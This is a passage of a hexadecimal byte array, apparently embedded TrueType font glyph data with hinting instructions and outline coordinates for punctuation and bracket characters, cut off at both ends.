0xb,0x0,0x4,0x7,0x0,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xa, + 0x9,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x21,0x15,0x23, + 0x35,0x1,0x15,0x9a,0x2,0x32,0x9a,0x2,0x39,0x9a,0xb8,0xb8,0xb8,0xb8,0xb8,0xb8, + 0xb8,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0,0xb,0x0,0x42,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c, + 0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb4,0x1,0x0,0xb, + 0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1, + 0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31, + 0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x1,0x1b,0x88, + 0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x0,0x0, + 0x2,0x0,0x44,0xff,0x37,0x0,0xf2,0x3,0xbc,0x0,0xb,0x0,0xf,0x0,0x5b,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0xf,0xe,0x2f,0x3c,0xb2,0x0, + 0x1,0xa,0x10,0xdd,0x3c,0xb2,0xc,0xd,0xe,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8, + 0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xb,0x1,0xe,0xd,0x2,0xc,0xf, + 0x0,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, + 0xb1,0xa,0x9,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x37,0x15,0x14,0x23,0x22,0x27, + 0x35,0x36,0x35,0x27,0x23,0x35,0x13,0x15,0x23,0x35,0xf2,0x88,0xd,0x19,0x56,0x1, + 0x41,0x90,0x9a,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0x3,0x4,0xb8,0xb8, + 0x0,0x0,0x1,0x0,0x56,0x3,0xf0,0x1,0xc,0x5,0x71,0x0,0xb,0x0,0x45,0xb1, + 0x0,0x1,0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c, + 0xb4,0x8,0x9,0x8,0xa,0x1,0x11,0x12,0x39,0x39,0x2f,0x0,0xb1,0xa,0x9,0x2f, + 0x3c,0xb2,0x0,0xb,0x9,0x10,0xdd,0x3c,0xb3,0x1,0x5,0x1,0x0,0x13,0x10,0xc0, + 0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39,0x39,0x14,0xb1,0x3, + 0x1,0x3f,0x31,0x30,0x13,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, + 0x56,0x88,0xf,0x1f,0x5e,0x1,0x41,0x3,0xf0,0xc7,0xba,0x2,0x4d,0x57,0x23,0xb8, + 0x0,0x0,0x2,0x0,0x62,0x3,0xd3,0x2,0x37,0x5,0x55,0x0,0xb,0x0,0x17,0x0, + 0x7e,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, + 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, + 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, + 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0x40,0xe,0x1,0x16,0x15,0x1, + 0xc,0x17,0x0,0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7,0x1,0x6,0x5,0x1,0x3,0x9,0x2, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb7,0x1,0x12,0x11,0xd,0x3,0x15,0x2,0x0, + 0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xf,0x2,0x3,0x2,0x3f,0x3f,0x31,0x30,0x1, + 0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22, + 0x27,0x35,0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xc,0x1a,0x56,0x1,0x41,0x1, + 0xc1,0x88,0x10,0x1e,0x5e,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53,0x23, + 0xb8,0xc7,0xbb,0x2,0x4d,0x58,0x23,0xb8,0x0,0x0,0x2,0x0,0x56,0x3,0xf0,0x2, + 0x2b,0x5,0x71,0x0,0xb,0x0,0x17,0x0,0x7f,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x6, + 0x5,0x2f,0x3c,0xb1,0xc,0xd,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0xb2,0x0,0x1, + 0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0xa, + 0x1,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14,0x15,0x14,0x16,0xd,0x11,0x12,0x39,0x39, + 0x2f,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0xb2,0x0,0xb,0x9, + 0x10,0xdd,0x3c,0xb2,0xc,0x17,0x15,0x10,0xdd,0x3c,0xb4,0x1,0x11,0x5,0x1,0x0, + 0x13,0x10,0xc0,0xc0,0x13,0xb5,0x1,0x6,0x1,0x1,0x0,0x9,0x11,0x14,0x12,0x39, + 0x39,0x14,0xb5,0x1,0x12,0xd,0x1,0x0,0x15,0x11,0x14,0x12,0x39,0x39,0x14,0xb3, + 0xf,0x1,0x3,0x1,0x3f,0x3f,0x31,0x30,0x1,0x35,0x34,0x33,0x32,0x17,0x15,0x6, + 0x15,0x17,0x33,0x15,0x21,0x35,0x34,0x33,0x32,0x17,0x15,0x22,0x15,0x17,0x33,0x15, + 0x1,0x7d,0x88,0xb,0x1b,0x56,0x1,0x41,0xfe,0x3f,0x88,0xf,0x1f,0x5e,0x1,0x41, + 0x3,0xf0,0xc7,0xba,0x2,0x4d,0x5,0x52,0x23,0xb8,0xc7,0xba,0x2,0x4d,0x57,0x23, + 0xb8,0x0,0x2,0x0,0x62,0xff,0x37,0x2,0x37,0x0,0xb8,0x0,0xb,0x0,0x17,0x0, + 0x7c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c, + 0xb1,0xc,0xd,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10,0xdd,0x3c,0xb2,0x17,0x16,0xd, + 0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0xb4,0x14, + 0x15,0x14,0xd,0x16,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1,0xc,0x17,0x0,0x0, + 0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, + 0xb1,0x16,0x15,0x2f,0x3c,0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3, + 0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0xd, + 0x4,0x15,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14, + 0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35,0x21,0x15,0x14,0x23,0x22,0x27,0x35, + 0x32,0x35,0x27,0x23,0x35,0x1,0x10,0x88,0xd,0x19,0x56,0x1,0x41,0x1,0xc1,0x88, + 0x11,0x1d,0x5e,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53,0x23,0xb8,0xc6,0xbb, + 0x2,0x4c,0x58,0x23,0xb8,0x0,0x2,0x0,0xa0,0x0,0x0,0x1,0x48,0x5,0x55,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd, + 0x3c,0xb3,0x7,0x6,0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x4,0x7,0x0, + 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, + 0x3c,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x13,0x3,0x23,0x3, + 0x1,0x42,0x9a,0xa0,0x14,0x83,0x11,0xb8,0xb8,0xb8,0x4,0x9d,0xfc,0x24,0x3,0xdc, + 0x0,0x0,0x2,0x0,0xa2,0xfe,0x66,0x1,0x4a,0x3,0xbc,0x0,0x3,0x0,0x7,0x0, + 0x35,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x7,0x6, + 0x5,0x4,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1,0x4,0x7,0x0,0x0,0x3,0x2, + 0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1, + 0x6,0x5,0x2f,0x3c,0x31,0x30,0x13,0x35,0x33,0x15,0x3,0x13,0x33,0x13,0xa2,0x9a, + 0x9a,0x14,0x83,0x11,0x3,0x4,0xb8,0xb8,0xfb,0x62,0x3,0xdd,0xfc,0x23,0x0,0x0, + 0x2,0x0,0x6d,0x0,0x0,0x3,0xc1,0x5,0x63,0x0,0x3,0x0,0x20,0x0,0x44,0xb1, + 0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12, + 0x5,0x4,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb4,0x1, + 0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x18,0x1,0x3f,0xb1,0xf,0x18,0x10, + 0xcd,0x31,0x30,0x25,0x15,0x23,0x35,0x37,0x23,0x37,0x34,0x36,0x3f,0x1,0x36,0x35, + 0x34,0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x21,0x32,0x16,0x15,0x10, + 0xf,0x1,0x6,0x15,0x2,0x1d,0x9a,0x9f,0x97,0x1,0x4d,0x84,0x53,0x7e,0x5d,0xb7, + 0xbc,0x61,0x1,0x91,0x1,0xad,0x1,0x16,0xea,0xa6,0xc1,0x54,0x89,0xb8,0xb8,0xb8, + 0xd2,0x1e,0x89,0x6c,0x32,0x20,0x30,0xc2,0xa9,0x57,0x5c,0xb4,0x27,0x2d,0xf4,0x98, + 0x9a,0xda,0xfe,0xc8,0x45,0x1e,0x31,0x77,0x0,0x0,0x2,0x0,0x66,0xfe,0x58,0x3, + 0xba,0x3,0xbc,0x0,0x3,0x0,0x20,0x0,0x45,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3, + 0x2,0x1,0x10,0xdd,0x3c,0xb5,0x1b,0x14,0x13,0x12,0x5,0x4,0x2e,0x2e,0x2f,0x2e, + 0x2e,0x2f,0xb1,0xc,0x1b,0x10,0xcd,0x0,0xb7,0x1,0x0,0x3,0x2,0x2,0x1,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x14,0x13,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb1,0x18,0x3,0x3f,0xb1,0xf,0x18,0x10,0xcd,0x31,0x30,0x1,0x35, + 0x33,0x15,0x7,0x33,0x7,0x14,0x6,0xf,0x1,0x6,0x15,0x14,0x16,0x33,0x32,0x36, + 0x3d,0x1,0x33,0x15,0x14,0x6,0x21,0x22,0x26,0x35,0x10,0x3f,0x1,0x36,0x35,0x2, + 0x5,0x9a,0x9a,0x97,0x1,0x4c,0x85,0x53,0x7e,0x5d,0xb7,0xbc,0x61,0x90,0xad,0xfe, + 0xe9,0xea,0xa6,0xc2,0x53,0x8a,0x3,0x4,0xb8,0xb8,0xd2,0x1e,0x89,0x6c,0x32,0x20, + 0x30,0xc2,0xaa,0x57,0x5d,0xb4,0x27,0x2d,0xf5,0x98,0x9a,0xdb,0x1,0x39,0x44,0x1e, + 0x30,0x78,0x0,0x0,0x2,0x0,0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0, + 0xb,0x0,0x5a,0x40,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1, + 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1, + 0x1,0x8,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40, + 0xd,0x1,0x1,0xa,0x9,0x7,0x4,0x3,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xb,0x1,0x1,0xb,0x6,0x5,0x0,0x4,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x13,0x1, + 0x27,0x13,0x3,0x27,0x13,0x1,0x27,0x13,0x3,0x2,0x36,0xf6,0xfe,0xed,0x63,0xee, + 0xd7,0xe7,0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1, + 0xcb,0x1,0xca,0x40,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1,0xca,0x0,0x2,0x0, + 0x66,0x0,0x0,0x3,0x2c,0x4,0x17,0x0,0x5,0x0,0xb,0x0,0x5a,0x40,0xc,0xb, + 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x1,0xa,0x4,0x0,0x0,0x3, + 0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x40,0xd,0x1,0x1,0xb,0x9,0x8, + 0x5,0x3,0x2,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x40,0xb,0x1,0x1,0x7,0x6,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14, + 0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x9,0x1,0x17,0x3, + 0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe,0xed,0x2,0x46,0x69,0xd7,0xee, + 0x63,0xfe,0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x2,0xa,0x40, + 0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4, + 0x17,0x0,0x5,0x0,0x44,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x1,0x2,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39, + 0x13,0x14,0x40,0xa,0x1,0x1,0x4,0x3,0x1,0x3,0x2,0x0,0x0,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x5,0x0,0x1,0x0,0x2,0x0,0x13, + 0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1b,0x1,0x1,0x27,0x13,0x3,0xe6, + 0xf6,0xfe,0xed,0x63,0xee,0xd7,0x4,0x17,0xfd,0xf6,0xfd,0xf3,0x42,0x1,0xcb,0x1, + 0xca,0x0,0x1,0x0,0x66,0x0,0x0,0x1,0xdc,0x4,0x17,0x0,0x5,0x0,0x44,0xb5, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x1, + 0x4,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xa,0x1,0x1, + 0x5,0x3,0x2,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0xb7,0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13, + 0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe, + 0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0xff,0x78,0xfe, + 0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb7,0x1,0x0,0x3,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x4,0x9b,0xfb,0x50,0x73,0x4, + 0xb1,0x5,0x55,0xf9,0x11,0x6,0xef,0x0,0x1,0x0,0x0,0x1,0xb0,0x1,0xa9,0x2, + 0x32,0x0,0x3,0x0,0x1b,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0, + 0xc0,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30, + 0x13,0x21,0x15,0x21,0x3,0x1,0xa6,0xfe,0x57,0x2,0x32,0x82,0x0,0x0,0x1,0x0, + 0xe3,0x1,0xb0,0x4,0x6,0x2,0x32,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, + 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0xe3,0x3,0x23,0xfc,0xdd,0x2,0x32,0x82, + 0x0,0x0,0x1,0x0,0x0,0x1,0xb0,0x5,0x89,0x2,0x32,0x0,0x3,0x0,0x1b,0xb1, + 0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0,0xc0,0x0,0xb1,0x3,0x2,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0x9,0x5, + 0x80,0xfa,0x77,0x2,0x32,0x82,0x0,0x0,0x1,0x0,0x67,0xfe,0x5f,0x1,0xd1,0x5, + 0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c,0xb3,0xe, + 0xd,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xf,0x5,0x10,0xcd,0x0,0xb3,0x1,0x1, + 0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6, + 0x1,0x1,0x0,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb6,0x1, + 0x1,0xa,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0x8,0x1, + 0x2,0x3,0x3f,0x3f,0x31,0x30,0x1,0x15,0x7,0x22,0x26,0x11,0x10,0x36,0x33,0x17, + 0x15,0x22,0x6,0x11,0x17,0x15,0x10,0x16,0x1,0xd1,0x26,0xe9,0x5b,0x5b,0xe9,0x26, + 0x92,0x39,0x1,0x39,0xfe,0xe2,0x82,0x1,0xfa,0x2,0x85,0x2,0x85,0xfa,0x1,0x82, + 0x92,0xfe,0x8a,0xf4,0xf5,0xfe,0x8b,0x92,0x0,0x0,0x1,0x0,0x66,0xfe,0x5f,0x1, + 0xd0,0x5,0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c, + 0xb3,0xf,0xe,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xd,0x5,0x10,0xcd,0x0,0xb3, + 0x1,0x9,0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x1,0x1,0x0,0x13,0x10,0xc0, + 0x13,0xb6,0x1,0x1,0xa,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14, + 0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3, + 0x8,0x3,0x2,0x1,0x3f,0x3f,0x31,0x30,0x13,0x35,0x37,0x32,0x16,0x11,0x10,0x6, + 0x23,0x27,0x35,0x32,0x36,0x11,0x35,0x37,0x10,0x26,0x66,0x26,0xe9,0x5b,0x5b,0xe9, + 0x26,0x91,0x39,0x1,0x39,0x4,0xda,0x82,0x1,0xfa,0xfd,0x7b,0xfd,0x7b,0xfa,0x1, + 0x82,0x92,0x1,0x75,0xf5,0xf4,0x1,0x76,0x92,0x0,0x1,0x0,0x71,0xfe,0x66,0x1, + 0xce,0x5,0x55,0x0,0x7,0x0,0x30,0xb1,0x0,0x7,0x2f,0x3c,0xb4,0x6,0x5,0x2, + 0x1,0x3,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1, + 0x3,0x2,0x1,0x0,0x1,0x0,0x7,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x13,0x21,0x15,0x23,0x11,0x33,0x15,0x21,0x71, + 0x1,0x5d,0xc3,0xc3,0xfe,0xa3,0x5,0x55,0x74,0xf9,0xf9,0x74,0x0,0x0,0x1,0x0, + 0x69,0xfe,0x66,0x1,0xc6,0x5,0x55,0x0,0x7,0x0,0x30,0xb4,0x6,0x5,0x2,0x1, + 0x3,0x17,0x2f,0x3c,0xb1,0x0,0x7,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c, + 0x0,0x40,0xb,0x1,0x5,0x4,0x1,0x7,0x6,0x0,0x0,0x1,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x1,0x21,0x35,0x33,0x11, + 0x23,0x35,0x21,0x1,0xc6,0xfe,0xa3,0xc3,0xc3,0x1,0x5d,0xfe,0x66,0x74,0x6,0x7, + 0x74,0x0,0x2,0x0,0x75,0xff,0xf2,0x5,0x97,0x5,0x49,0x0,0x2a,0x0,0x33,0x0, + 0x8c,0xb0,0x3,0x2f,0xb6,0x0,0x2a,0x29,0x28,0x27,0x4,0x3,0x10,0x17,0xdd,0x3c, + 0xb7,0x33,0x2b,0x26,0x1c,0x14,0x12,0xd,0x27,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0, + 0xc0,0xb2,0x7,0x6,0x3,0x10,0xc0,0xc0,0x40,0x9,0x1a,0x1b,0x1a,0x8,0x5,0x1, + 0x5,0x3,0x27,0x11,0x12,0x17,0x39,0x2f,0xb3,0x2e,0xd,0x23,0x14,0x10,0xcd,0x10, + 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c,0xb6,0x1,0x1,0x7, + 0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xd,0x1,0x33,0x2a, + 0x29,0x28,0x27,0x8,0x6,0x5,0x8,0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13, + 0xb5,0x2b,0x26,0x12,0x3,0x1b,0x1,0x11,0x12,0x17,0x39,0xb3,0x17,0x1,0xa,0x0, + 0x3f,0x3f,0xb3,0x31,0xa,0x20,0x17,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x1f, + 0x1,0x14,0x7,0x17,0x7,0x27,0x6,0x21,0x20,0x26,0x11,0x34,0x36,0x37,0x36,0x37, + 0x26,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x7,0x23,0x35,0x34,0x26,0x23,0x22,0x6, + 0x15,0x14,0x1f,0x1,0x1,0x3d,0x2,0x25,0xe,0x1,0x15,0x14,0x16,0x21,0x20,0x37, + 0x4,0x1e,0x98,0x1,0x1,0x10,0xef,0x54,0xca,0x55,0xfe,0x8b,0xfe,0x98,0xd2,0x61, + 0x8d,0xd,0x1c,0x7c,0xab,0xeb,0xe6,0xa8,0x2,0x97,0x52,0xa9,0x99,0x64,0x57,0x22, + 0x2,0x2,0xfd,0xce,0x9b,0x49,0x79,0x1,0x11,0x1,0x47,0x28,0x2,0x5b,0x24,0x45, + 0x6d,0x55,0xc5,0x6b,0xa7,0xb5,0xa0,0x1,0x13,0xb5,0x90,0x1d,0x3,0x6,0x68,0x87, + 0xbf,0x8b,0x88,0xba,0x55,0x33,0x98,0x4a,0x42,0x65,0x72,0x44,0x1c,0xfe,0x54,0x1c, + 0x38,0x46,0x81,0x22,0x5b,0x9f,0xd0,0x5d,0x92,0x0,0x2,0x0,0x9a,0xfe,0x77,0x4, + 0x4f,0x5,0x63,0x0,0x30,0x0,0x3e,0x0,0x5d,0x40,0xa,0x2b,0x29,0x27,0x1a,0x19, + 0x13,0x11,0xf,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2f,0xb7, + 0x3d,0x27,0x36,0xf,0x20,0x13,0x8,0x2b,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x0,0xb1,0x1a,0x19,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xd,0x3b,0x34,0x1, + 0x1,0x3b,0x34,0x29,0x11,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x2f,0x2f,0xb3,0x2e,0x1,0x16,0x3,0x3f,0x3f,0xb3,0x1d,0x16,0x5,0x2e, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x14, + 0x1f,0x1,0x5,0x1e,0x1,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x21,0x20,0x26,0x35, + 0x33,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x27,0x25,0x2e,0x1,0x35,0x34,0x37, + 0x26,0x35,0x34,0x36,0x33,0x20,0x16,0x1,0x5,0x16,0x33,0x32,0x35,0x34,0x27,0x25, + 0x26,0x23,0x22,0x15,0x14,0x4,0x2f,0x86,0x1,0x72,0xc8,0xb8,0x62,0x64,0x58,0x1, + 0x32,0xaf,0x5b,0x84,0x87,0xb5,0xfe,0xd7,0xfe,0xdc,0xac,0x8a,0x63,0xcc,0xf7,0x79, + 0x41,0x7e,0xfe,0x5b,0x7d,0x4f,0x9c,0x67,0x99,0xf5,0x1,0x33,0x9f,0xfd,0x88,0x1, + 0x34,0x3d,0x29,0x76,0xa3,0xfe,0xd9,0x46,0x20,0x78,0x3,0xf9,0x38,0x70,0x40,0x3f, + 0x76,0x94,0x1f,0x1a,0x5b,0x33,0x5c,0x7d,0xd6,0x37,0x41,0xcd,0xde,0x88,0x8c,0xef, + 0xa7,0x52,0x48,0x92,0x61,0x43,0x22,0x6f,0x21,0x73,0x93,0xcc,0x24,0x42,0xaf,0xd0, + 0x83,0x7b,0xfc,0x9a,0x56,0x11,0xd1,0x64,0x30,0x57,0x15,0xc1,0x7e,0x0,0x1,0x0, + 0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0,0xb,0x0,0x46,0xb1,0x9,0x8,0x2f,0x3c, + 0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb5,0x0, + 0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1,0x0,0xb,0x0,0x6, + 0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4,0xa,0x9,0x2,0x1, + 0x3,0x17,0x2f,0x3c,0xb5,0x8,0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x31, + 